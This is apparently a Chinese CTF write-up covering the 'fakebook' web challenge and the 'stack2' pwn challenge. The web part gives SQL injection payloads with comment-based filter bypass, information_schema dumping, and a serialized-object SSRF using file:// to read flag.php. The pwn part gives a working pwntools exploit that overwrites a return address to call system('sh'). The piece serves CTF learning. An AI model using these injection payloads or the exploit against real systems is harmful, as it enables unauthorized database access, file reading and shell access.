http://220.249.52.133:35346/view.php?no=1 order by 4
```

正常回显

```
http://220.249.52.133:35346/view.php?no=1 order by 5
```

不正常回显

这里强调一点no=1的后面是没有引号的

在4的时候是正常的回显，在5的时候不是，说明列数是4

然后是使用联合查询

```
1 union select 1,database(),1,1 #
```

但是页面返回一个no hack

说明应该是被检测到了

应该是union select

所以用++ 或者/**/ 绕过

接着我们爆数据库的名

```
-1 union select 1,database(),1,1 #
```

得到数据库的名称是facebook

下面是得到表名

```
http://220.249.52.133:35346/view.php?no=-1 union/**/select 1,group_concat(table_name),1,1 from information_schema.tables where table_schema='fakebook'#
```

下面是列名

```
http://220.249.52.133:35346/view.php?no=-1 union/**/select 1,group_concat(column_name),1,1 from information_schema.columns where table_name='users'#
```

我们可以得到四个列名：

```
no
username
passwd
data
```

接下来获取一些信息

```
http://220.249.52.133:35346/view.php?no=-1 union/**/select 1,data,1,1 from users#

http://220.249.52.133:35346/view.php?no=2 union++select 1,group_concat(data),3,4 from users
```

这两句是获取的同一个信息

```
O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:1;s:4:"blog";s:21:"https://www.baidu.com";}
```

我们发现了是序列化

结合上面的`user.php`代码，这里的逻辑应该是：sql查询 -> php序列化 -> 返回结果，这里的`curl`是应该是没有经过检测的，所以把blog对应的位置替换成我们构造的php序列化串，使用`file`协议进行`ssrf`

payload

```
http://220.249.52.133:35346/view.php?no=2 union++select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
```

这个payload的应该no=2

得到

```
data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3tjMWU1NTJmZGY3NzA0OWZhYmY2NTE2OGYyMmY3YWVhYn0iOw0KZXhpdCgwKTsNCg==
```

base64解密后

```
<?php

$flag = "flag{c1e552fdf77049fabf65168f22f7aeab}";
exit(0);
```

upload1

直接上传图片抓包分析：

得到一部分的js代码

```
Array.prototype.contains = function (obj) {
    var i = this.length;
    while (i--) {
        if (this[i] === obj) {
            return true;
        }
    }
    return false;
}

function check(){
upfile = document.getElementById("upfile");
submit = document.getElementById("submit");
name = upfile.value;
ext = name.replace(/^.+\./,'');

if(['jpg','png'].contains(ext)){
 submit.disabled = false;
}else{
 submit.disabled = true;
 alert('è¯·é€‰æ‹©æ£å¼ å›¾ç‰‡æ–‡ä»¶ä¸Šä¼ ï¼');
}
}
```

Web_php_wrong_nginx_config

相关文章地址：

https://blog.csdn.net/hxhxhxhxx/article/details/107907787

RE

PWN

PWN基础知识

[XCTF-pwn]

stack2 writeup

下面是第三届XMan夏令营选拔赛WP的链接地址：
https://www.xctf.org.cn/library/details/8723e039db0164e2f7345a12d2edd2a5e800adf7/

下面这个是一个大佬的文章（写的很详细）：
https://muzibing.github.io/2020/06/08/2020.06.08%EF%BC%88123%EF%BC%89/

checksec一下：

```
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
```

这里要注意的一个点是开启了栈不可执行和金丝雀保护

这里面有个重要的一点就是上面那个大佬的文章中写的那样由于开启了Canary保护所以溢出的地址并不是直接+4而是需要gdb调试出来的。

下面是EXP:

```
#coding:utf8
#下面是借鉴的大佬的文章，学习到了许多，大佬的其它文章写的都不错都可以看一下
#https://muzibing.github.io/2020/06/08/2020.06.08%EF%BC%88123%EF%BC%89/

from pwn import *
# context.log_level = 'debug'

process_name = './1'
p = process(process_name)
#p = remote('220.249.52.133', 57884)


hackhere = [0x9b, 0x85, 0x04, 0x08]  #0x0804859B
write_offset = 0x84
system_addr = [0x50, 0x84, 0x04, 0x08] # 0x08048450
sh_addr = [0x87, 0x89, 0x04, 0x08]  # 0x08048987

def change_number(offset, value):
 p.sendlineafter('5. exit', '3')
 p.sendlineafter('which number to change:', str(offset))
 p.sendlineafter('new number:', str(value))

p.sendlineafter('How many numbers you have:', '1')
p.sendlineafter('Give me your numbers', '1')
for i in range(4):
 change_number(write_offset+i, system_addr[i])

write_offset += 8
for i in range(4):
 change_number(write_offset+i, sh_addr[i])

p.sendlineafter('5. exit', '5')
p.interactive()
```

MISC